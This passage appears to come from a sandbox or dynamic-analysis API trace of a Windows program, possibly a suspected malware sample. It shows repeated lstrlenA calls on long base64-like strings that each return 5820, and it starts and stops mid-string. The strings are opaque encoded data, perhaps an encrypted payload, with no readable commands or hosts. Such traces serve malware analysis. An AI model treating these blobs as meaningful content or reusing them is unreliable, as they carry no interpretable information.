4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.631] lstrlenA (lpString="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